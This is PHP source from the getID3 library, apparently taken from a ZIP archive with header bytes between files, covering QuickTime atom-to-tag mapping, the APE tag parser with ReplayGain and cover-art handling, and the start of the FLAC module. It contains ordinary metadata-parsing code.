			$handyatomtranslatorarray["\xA9".'com'] = 'comment';
			$handyatomtranslatorarray["\xA9".'cpy'] = 'copyright';
			$handyatomtranslatorarray["\xA9".'day'] = 'creation_date';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'dir'] = 'director';
			$handyatomtranslatorarray["\xA9".'ed1'] = 'edit1';
			$handyatomtranslatorarray["\xA9".'ed2'] = 'edit2';
			$handyatomtranslatorarray["\xA9".'ed3'] = 'edit3';
			$handyatomtranslatorarray["\xA9".'ed4'] = 'edit4';
			$handyatomtranslatorarray["\xA9".'ed5'] = 'edit5';
			$handyatomtranslatorarray["\xA9".'ed6'] = 'edit6';
			$handyatomtranslatorarray["\xA9".'ed7'] = 'edit7';
			$handyatomtranslatorarray["\xA9".'ed8'] = 'edit8';
			$handyatomtranslatorarray["\xA9".'ed9'] = 'edit9';
			$handyatomtranslatorarray["\xA9".'enc'] = 'encoded_by';
			$handyatomtranslatorarray["\xA9".'fmt'] = 'format';
			$handyatomtranslatorarray["\xA9".'gen'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'grp'] = 'grouping';            // iTunes 4.2
			$handyatomtranslatorarray["\xA9".'hst'] = 'host_computer';
			$handyatomtranslatorarray["\xA9".'inf'] = 'information';
			$handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics';              // iTunes 5.0
			$handyatomtranslatorarray["\xA9".'mak'] = 'make';
			$handyatomtranslatorarray["\xA9".'mod'] = 'model';
			$handyatomtranslatorarray["\xA9".'nam'] = 'title';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ope'] = 'composer';
			$handyatomtranslatorarray["\xA9".'prd'] = 'producer';
			$handyatomtranslatorarray["\xA9".'PRD'] = 'product';
			$handyatomtranslatorarray["\xA9".'prf'] = 'performers';
			$handyatomtranslatorarray["\xA9".'req'] = 'system_requirements';
			$handyatomtranslatorarray["\xA9".'src'] = 'source_credit';
			$handyatomtranslatorarray["\xA9".'swr'] = 'software';
			$handyatomtranslatorarray["\xA9".'too'] = 'encoding_tool';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'trk'] = 'track_number';
			$handyatomtranslatorarray["\xA9".'url'] = 'url';
			$handyatomtranslatorarray["\xA9".'wrn'] = 'warning';
			$handyatomtranslatorarray["\xA9".'wrt'] = 'composer';
			$handyatomtranslatorarray['aART'] = 'album_artist';
			$handyatomtranslatorarray['apID'] = 'purchase_account';
			$handyatomtranslatorarray['catg'] = 'category';            // iTunes 4.9
			$handyatomtranslatorarray['covr'] = 'picture';             // iTunes 4.0
			$handyatomtranslatorarray['cpil'] = 'compilation';         // iTunes 4.0
			$handyatomtranslatorarray['cprt'] = 'copyright';           // iTunes 4.0?
			$handyatomtranslatorarray['desc'] = 'description';         // iTunes 5.0
			$handyatomtranslatorarray['disk'] = 'disc_number';         // iTunes 4.0
			$handyatomtranslatorarray['egid'] = 'episode_guid';        // iTunes 4.9
			$handyatomtranslatorarray['gnre'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray['hdvd'] = 'hd_video';            // iTunes 4.0
			$handyatomtranslatorarray['ldes'] = 'description_long';    //
			$handyatomtranslatorarray['keyw'] = 'keyword';             // iTunes 4.9
			$handyatomtranslatorarray['pcst'] = 'podcast';             // iTunes 4.9
			$handyatomtranslatorarray['pgap'] = 'gapless_playback';    // iTunes 7.0
			$handyatomtranslatorarray['purd'] = 'purchase_date';       // iTunes 6.0.2
			$handyatomtranslatorarray['purl'] = 'podcast_url';         // iTunes 4.9
			$handyatomtranslatorarray['rtng'] = 'rating';              // iTunes 4.0
			$handyatomtranslatorarray['soaa'] = 'sort_album_artist';   //
			$handyatomtranslatorarray['soal'] = 'sort_album';          //
			$handyatomtranslatorarray['soar'] = 'sort_artist';         //
			$handyatomtranslatorarray['soco'] = 'sort_composer';       //
			$handyatomtranslatorarray['sonm'] = 'sort_title';          //
			$handyatomtranslatorarray['sosn'] = 'sort_show';           //
			$handyatomtranslatorarray['stik'] = 'stik';                // iTunes 4.9
			$handyatomtranslatorarray['tmpo'] = 'bpm';                 // iTunes 4.0
			$handyatomtranslatorarray['trkn'] = 'track_number';        // iTunes 4.0
			$handyatomtranslatorarray['tven'] = 'tv_episode_id';       //
			$handyatomtranslatorarray['tves'] = 'tv_episode';          // iTunes 6.0
			$handyatomtranslatorarray['tvnn'] = 'tv_network_name';     // iTunes 6.0
			$handyatomtranslatorarray['tvsh'] = 'tv_show_name';        // iTunes 6.0
			$handyatomtranslatorarray['tvsn'] = 'tv_season';           // iTunes 6.0

			// boxnames:
			/*
			$handyatomtranslatorarray['iTunSMPB']                    = 'iTunSMPB';
			$handyatomtranslatorarray['iTunNORM']                    = 'iTunNORM';
			$handyatomtranslatorarray['Encoding Params']             = 'Encoding Params';
			$handyatomtranslatorarray['replaygain_track_gain']       = 'replaygain_track_gain';
			$handyatomtranslatorarray['replaygain_track_peak']       = 'replaygain_track_peak';
			$handyatomtranslatorarray['replaygain_track_minmax']     = 'replaygain_track_minmax';
			$handyatomtranslatorarray['MusicIP PUID']                = 'MusicIP PUID';
			$handyatomtranslatorarray['MusicBrainz Artist Id']       = 'MusicBrainz Artist Id';
			$handyatomtranslatorarray['MusicBrainz Album Id']        = 'MusicBrainz Album Id';
			$handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id';
			$handyatomtranslatorarray['MusicBrainz Track Id']        = 'MusicBrainz Track Id';
			$handyatomtranslatorarray['MusicBrainz Disc Id']         = 'MusicBrainz Disc Id';

			// http://age.hobba.nl/audio/tag_frame_reference.html
			$handyatomtranslatorarray['PLAY_COUNTER']                = 'play_counter'; // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355
			$handyatomtranslatorarray['MEDIATYPE']                   = 'mediatype';    // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355
			*/
		}
		$info = &$this->getid3->info;
		$comment_key = '';
		if ($boxname && ($boxname != $keyname)) {
			$comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname);
		} elseif (isset($handyatomtranslatorarray[$keyname])) {
			$comment_key = $handyatomtranslatorarray[$keyname];
		}
		if ($comment_key) {
			if ($comment_key == 'picture') {
				// already copied directly into [comments][picture] elsewhere, do not re-copy here
				return true;
			}
			$gooddata = array($data);
			if ($comment_key == 'genre') {
				// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
				$gooddata = explode(';', $data);
			}
			foreach ($gooddata as $data) {
				if (!empty($info['quicktime']['comments'][$comment_key]) && in_array($data, $info['quicktime']['comments'][$comment_key], true)) {
					// avoid duplicate copies of identical data
					continue;
				}
				$info['quicktime']['comments'][$comment_key][] = $data;
			}
		}
		return true;
	}

	/**
	 * @param string $lstring
	 * @param int    $count
	 *
	 * @return string
	 */
	public function LociString($lstring, &$count) {
		// Loci strings are UTF-8 or UTF-16 and null (x00/x0000) terminated. UTF-16 has a BOM
		// Also need to return the number of bytes the string occupied so additional fields can be extracted
		$len = strlen($lstring);
		if ($len == 0) {
			$count = 0;
			return '';
		}
		if ($lstring[0] == "\x00") {
			$count = 1;
			return '';
		}
		// check for BOM
		if (($len > 2) && ((($lstring[0] == "\xFE") && ($lstring[1] == "\xFF")) || (($lstring[0] == "\xFF") && ($lstring[1] == "\xFE")))) {
			// UTF-16
			if (preg_match('/(.*)\x00/', $lstring, $lmatches)) {
				$count = strlen($lmatches[1]) * 2 + 2; //account for 2 byte characters and trailing \x0000
				return getid3_lib::iconv_fallback_utf16_utf8($lmatches[1]);
			} else {
				return '';
			}
		}
		// UTF-8
		if (preg_match('/(.*)\x00/', $lstring, $lmatches)) {
			$count = strlen($lmatches[1]) + 1; //account for trailing \x00
			return $lmatches[1];
		}
		return '';
	}

	/**
	 * @param string $nullterminatedstring
	 *
	 * @return string
	 */
	public function NoNullString($nullterminatedstring) {
		// remove the single null terminator on null terminated strings
		if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") {
			return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1);
		}
		return $nullterminatedstring;
	}

	/**
	 * @param string $pascalstring
	 *
	 * @return string
	 */
	public function Pascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		return substr($pascalstring, 1);
	}

	/**
	 * @param string $pascalstring
	 *
	 * @return string
	 */
	public function MaybePascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		// Check if string actually is in this format or written incorrectly, straight string, or null-terminated string
		if (ord(substr($pascalstring, 0, 1)) == (strlen($pascalstring) - 1)) {
			return substr($pascalstring, 1);
		} elseif (substr($pascalstring, -1, 1) == "\x00") {
			// appears to be null-terminated instead of Pascal-style
			return substr($pascalstring, 0, -1);
		}
		return $pascalstring;
	}


	/**
	 * Helper functions for m4b audiobook chapters
	 * code by Steffen Hartmann 2015-Nov-08.
	 *
	 * @param array  $info
	 * @param string $tag
	 * @param string $history
	 * @param array  $result
	 */
	public function search_tag_by_key($info, $tag, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if ($key === $tag) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_key($value, $tag, $key_history, $result);
				}
			}
		}
	}

	/**
	 * @param array  $info
	 * @param string $k
	 * @param string $v
	 * @param string $history
	 * @param array  $result
	 */
	public function search_tag_by_pair($info, $k, $v, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if (($key === $k) && ($value === $v)) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_pair($value, $k, $v, $key_history, $result);
				}
			}
		}
	}

	/**
	 * @param array $info
	 *
	 * @return array
	 */
	public function quicktime_time_to_sample_table($info) {
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$stts_res = array();
				$this->search_tag_by_key($value[1], 'time_to_sample_table', $value[0], $stts_res);
				if (count($stts_res) > 0) {
					return $stts_res[0][1]['time_to_sample_table'];
				}
			}
		}
		return array();
	}


	/**
	 * @param array $info
	 *
	 * @return int
	 */
	public function quicktime_bookmark_time_scale($info) {
		$time_scale = '';
		$ts_prefix_len = 0;
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$ts_res = array();
				$this->search_tag_by_key($info['quicktime']['moov'], 'time_scale', 'quicktime/moov', $ts_res);
				foreach ($ts_res as $sub_value) {
					$prefix = substr($sub_value[0], 0, -12);
					if ((substr($stbl_res[0][0], 0, strlen($prefix)) === $prefix) && ($ts_prefix_len < strlen($prefix))) {
						$time_scale = $sub_value[1]['time_scale'];
						$ts_prefix_len = strlen($prefix);
					}
				}
			}
		}
		return $time_scale;
	}
	/*
	// END helper functions for m4b audiobook chapters
	*/


}
PKE]SnJJmodule.tag.apetag.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.apetag.php                                       //
// module for analyzing APE tags                               //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_apetag extends getid3_handler
{
	/**
	 * true: return full data for all attachments;
	 * false: return no data for all attachments;
	 * integer: return data for attachments <= than this;
	 * string: save as file to this directory.
	 *
	 * @var int|bool|string
	 */
	public $inline_attachments = true;

	public $overrideendoffset  = 0;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}
		if (PHP_INT_MAX == 2147483647) {
			// https://github.com/JamesHeinrich/getID3/issues/439
			$this->warning('APEtag flags may not be parsed correctly on 32-bit PHP');
		}

		$id3v1tagsize     = 128;
		$apetagheadersize = 32;
		$lyrics3tagsize   = 10;

		if ($this->overrideendoffset == 0) {

			$this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END);
			$APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize);

			//if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) {
			if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found before ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize;

			//} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) {
			} elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found, no ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'];

			}

		} else {

			$this->fseek($this->overrideendoffset - $apetagheadersize);
			if ($this->fread(8) == 'APETAGEX') {
				$info['ape']['tag_offset_end'] = $this->overrideendoffset;
			}

		}
		if (!isset($info['ape']['tag_offset_end'])) {

			// APE tag not found
			unset($info['ape']);
			return false;

		}

		// shortcut
		$thisfile_ape = &$info['ape'];

		$this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize);
		$APEfooterData = $this->fread(32);
		if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) {
			$this->error('Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end']);
			return false;
		}

		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			$this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize);
			$thisfile_ape['tag_offset_start'] = $this->ftell();
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize);
		} else {
			$thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'];
			$this->fseek($thisfile_ape['tag_offset_start']);
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']);
		}
		$info['avdataend'] = $thisfile_ape['tag_offset_start'];

		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in APEtag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$offset = 0;
		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) {
				$offset += $apetagheadersize;
			} else {
				$this->error('Error parsing APE header at offset '.$thisfile_ape['tag_offset_start']);
				return false;
			}
		}

		// shortcut
		$info['replay_gain'] = array();
		$thisfile_replaygain = &$info['replay_gain'];

		for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) {
			$value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			$item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			if (strstr(substr($APEtagData, $offset), "\x00") === false) {
				$this->error('Cannot find null-byte (0x00) separator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset));
				return false;
			}
			$ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset;
			$item_key      = strtolower(substr($APEtagData, $offset, $ItemKeyLength));

			// shortcut
			$thisfile_ape['items'][$item_key] = array();
			$thisfile_ape_items_current = &$thisfile_ape['items'][$item_key];

			$thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset;

			$offset += ($ItemKeyLength + 1); // skip 0x00 terminator
			$thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size);
			$offset += $value_size;

			$thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags);
			switch ($thisfile_ape_items_current['flags']['item_contents_raw']) {
				case 0: // UTF-8
				case 2: // Locator (URL, filename, etc), UTF-8 encoded
					$thisfile_ape_items_current['data'] = explode("\x00", $thisfile_ape_items_current['data']);
					break;

				case 1:  // binary data
				default:
					break;
			}

			switch (strtolower($item_key)) {
				// http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
				case 'replaygain_track_gain':
					if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainTrackGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_track_peak':
					if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['track']['peak']       = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
						if ($thisfile_replaygain['track']['peak'] <= 0) {
							$this->warning('ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainTrackPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_gain':
					if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainAlbumGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_peak':
					if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['album']['peak']       = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
						if ($thisfile_replaygain['album']['peak'] <= 0) {
							$this->warning('ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainAlbumPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_undo':
					if (preg_match('#^[\\-\\+][0-9]{3},[\\-\\+][0-9]{3},[NW]$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['undo_left']  = intval($mp3gain_undo_left);
						$thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right);
						$thisfile_replaygain['mp3gain']['undo_wrap']  = (($mp3gain_undo_wrap == 'Y') ? true : false);
					} else {
						$this->warning('MP3gainUndo value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min);
						$thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max);
					} else {
						$this->warning('MP3gainMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_album_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min);
						$thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max);
					} else {
						$this->warning('MP3gainAlbumMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'tracknumber':
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments']['track_number'][] = $comment;
						}
					}
					break;

				case 'cover art (artist)':
				case 'cover art (back)':
				case 'cover art (band logo)':
				case 'cover art (band)':
				case 'cover art (colored fish)':
				case 'cover art (composer)':
				case 'cover art (conductor)':
				case 'cover art (front)':
				case 'cover art (icon)':
				case 'cover art (illustration)':
				case 'cover art (lead)':
				case 'cover art (leaflet)':
				case 'cover art (lyricist)':
				case 'cover art (media)':
				case 'cover art (movie scene)':
				case 'cover art (other icon)':
				case 'cover art (other)':
				case 'cover art (performance)':
				case 'cover art (publisher logo)':
				case 'cover art (recording)':
				case 'cover art (studio)':
					// list of possible cover arts from https://github.com/mono/taglib-sharp/blob/taglib-sharp-2.0.3.2/src/TagLib/Ape/Tag.cs
					if (is_array($thisfile_ape_items_current['data'])) {
						$this->warning('APEtag "'.$item_key.'" should be flagged as Binary data, but was incorrectly flagged as UTF-8');
						$thisfile_ape_items_current['data'] = implode("\x00", $thisfile_ape_items_current['data']);
					}
					list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2);
					$thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00");
					$thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']);

					do {
						$thisfile_ape_items_current['image_mime'] = '';
						$imageinfo = array();
						$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo);
						if (($imagechunkcheck === false) || !isset($imagechunkcheck[2])) {
							$this->warning('APEtag "'.$item_key.'" contains invalid image data');
							break;
						}
						$thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);

						if ($this->inline_attachments === false) {
							// skip entirely
							unset($thisfile_ape_items_current['data']);
							break;
						}
						if ($this->inline_attachments === true) {
							// great
						} elseif (is_int($this->inline_attachments)) {
							if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) {
								// too big, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						} elseif (is_string($this->inline_attachments)) {
							$this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR);
							if (!is_dir($this->inline_attachments) || !getID3::is_writable($this->inline_attachments)) {
								// cannot write, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						}
						// if we get this far, must be OK
						if (is_string($this->inline_attachments)) {
							$destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset'];
							if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
								file_put_contents($destination_filename, $thisfile_ape_items_current['data']);
							} else {
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)');
							}
							$thisfile_ape_items_current['data_filename'] = $destination_filename;
							unset($thisfile_ape_items_current['data']);
						} else {
							if (!isset($info['ape']['comments']['picture'])) {
								$info['ape']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($thisfile_ape_items_current[$picture_key])) {
									$comments_picture_data[$picture_key] = $thisfile_ape_items_current[$picture_key];
								}
							}
							$info['ape']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					} while (false); // @phpstan-ignore-line
					break;

				default:
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments'][strtolower($item_key)][] = $comment;
						}
					}
					break;
			}

		}
		if (empty($thisfile_replaygain)) {
			unset($info['replay_gain']);
		}
		return true;
	}

	/**
	 * @param string $APEheaderFooterData
	 *
	 * @return array|false
	 */
	public function parseAPEheaderFooter($APEheaderFooterData) {
		// http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html

		// shortcut
		$headerfooterinfo = array();
		$headerfooterinfo['raw'] = array();
		$headerfooterinfo_raw = &$headerfooterinfo['raw'];

		$headerfooterinfo_raw['footer_tag']   =                  substr($APEheaderFooterData,  0, 8);
		if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') {
			return false;
		}
		$headerfooterinfo_raw['version']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData,  8, 4));
		$headerfooterinfo_raw['tagsize']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4));
		$headerfooterinfo_raw['tag_items']    = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4));
		$headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4));
		$headerfooterinfo_raw['reserved']     =                              substr($APEheaderFooterData, 24, 8);

		$headerfooterinfo['tag_version']         = $headerfooterinfo_raw['version'] / 1000;
		if ($headerfooterinfo['tag_version'] >= 2) {
			$headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']);
		}
		return $headerfooterinfo;
	}

	/**
	 * @param int $rawflagint
	 *
	 * @return array
	 */
	public function parseAPEtagFlags($rawflagint) {
		// "Note: APE Tags 1.0 do not use any of the APE Tag flags.
		// All are set to zero on creation and ignored on reading."
		// http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags
		$flags                      = array();
		$flags['header']            = (bool) ($rawflagint & 0x80000000);
		$flags['footer']            = (bool) ($rawflagint & 0x40000000);
		$flags['this_is_header']    = (bool) ($rawflagint & 0x20000000);
		$flags['item_contents_raw'] =        ($rawflagint & 0x00000006) >> 1;
		$flags['read_only']         = (bool) ($rawflagint & 0x00000001);

		$flags['item_contents']     = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']);

		return $flags;
	}

	/**
	 * @param int $contenttypeid
	 *
	 * @return string
	 */
	public function APEcontentTypeFlagLookup($contenttypeid) {
		static $APEcontentTypeFlagLookup = array(
			0 => 'utf-8',
			1 => 'binary',
			2 => 'external',
			3 => 'reserved'
		);
		return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid');
	}

	/**
	 * @param string $itemkey
	 *
	 * @return bool
	 */
	public function APEtagItemIsUTF8Lookup($itemkey) {
		static $APEtagItemIsUTF8Lookup = array(
			'title',
			'subtitle',
			'artist',
			'album',
			'debut album',
			'publisher',
			'conductor',
			'track',
			'composer',
			'comment',
			'copyright',
			'publicationright',
			'file',
			'year',
			'record date',
			'record location',
			'genre',
			'media',
			'related',
			'isrc',
			'abstract',
			'language',
			'bibliography'
		);
		return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup);
	}

}
PKE]
4LLmodule.audio.flac.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.flac.php                                       //
// module for analyzing FLAC and OggFLAC audio files           //
// dependencies: module.audio.ogg.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

/**
* @tutorial http://flac.sourceforge.net/format.html
*/
class getid3_flac extends getid3_handler
{
	const syncword = 'fLaC';

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);
		$StreamMarker = $this->fread(4);
		if ($StreamMarker != self::syncword) {
			return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
		}
		$info['fileformat']            = 'flac';
		$info['audio']['dataformat']   = 'flac';
		$info['audio']['bitrate_mode'] = 'vbr';
		$info['audio']['lossless']     = true;

		// parse flac container
